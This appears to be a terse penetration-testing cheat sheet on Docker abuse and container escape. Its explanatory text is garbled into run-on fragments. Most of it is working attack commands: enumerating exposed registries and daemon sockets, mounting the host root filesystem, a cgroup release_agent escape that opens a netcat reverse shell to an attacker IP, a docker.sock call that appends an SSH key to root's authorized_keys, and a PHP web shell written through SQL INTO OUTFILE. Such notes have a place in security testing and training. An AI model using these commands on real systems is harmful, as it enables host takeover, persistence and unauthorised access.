/etc/docker/daemon.json
curl http://test.com:5000/v2/_catalog`
curl http://test.com:5000/v2/<REPO>/<APP>/tags/list
history
section of the json object contains commands executed at build phase. May contain sensitive data like passwords.curl http://test.com:5000/v2/<REPO>/<APP>/manifest/<TAG>
dive <IMAGE-ID>
latest
taglatest
docker
group may open tcp socket through dockernmap -sV -p- <IP> -vv
to find exposed tcp sockets via dockercurl http://test.com:2375/version
on open docker portExecute commands on socket
sh
docker -H tcp://test.com:2375 ps
docker -H tcp://test.com:2375 exec <container> <cmd>
docker -H tcp://$TARGET_IP:2375 run -it -v /:/mnt/host alpine:3.9 /bin/sh
find / -name "*sock"
groups
docker images
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
or
docker run -v /:/host --rm -it <imageID> chroot /host/ bash
OverlayFS
Requires root inside the container
Execute command
nsenter --target 1 --mount sh
capsh --print
man capabilities
Exploit and get a reverse shell to the host via
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/exploit" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /exploit
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER_IP 4711 >/tmp/f" >> /exploit
chmod a+x /exploit
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
fdisk -l
and lsblk
, host bulk device may be exposedmkdir /mnt/hostdev
mount /dev/<hostVda> /mnt/hostdev
/dev
as well !!! and mount devicecurl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/containers/json
curl-amd64 --unix-socket /run/docker.sock http://127.0.0.1/images/json
curl -X POST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock http://localhost/containers/create -d '{"Detach":true,"AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Tty":false,"Image":"<imagename>:latest","HostConfig":{"Binds": ["/:/var/tmp"]},"Cmd":["sh", "-c", "echo <ssh-key> >> /var/tmp/root/.ssh/authorized_keys"]}'
curl-amd64 -X POST -H "Content-Type:application/json" --unix-socket /var/run/docker.sock http://localhost/containers/<ID>/start
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<CONTAINERID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp
HTTP/1.1 101 UPGRADED
Content-Type: application/vnd.docker.raw-stream
Connection: Upgrade
Upgrade: tcp
create table h4x0r (pwn varchar(1024));
insert into h4x0r (pwn) values ('<?php $cmd=$_GET[“cmd”];system($cmd);?>');
select '<?php $cmd=$_GET["cmd"];system($cmd);?>' INTO OUTFILE '/var/www/html/shell.php';
curl <host-IP>/shell.php?cmd=id
https://github.com/dirtycow/dirtycow.github.io
ps aux
.dockerenv
in /
cd / && ls -lah
pwd /proc/1
cat cgroups
Social_engineering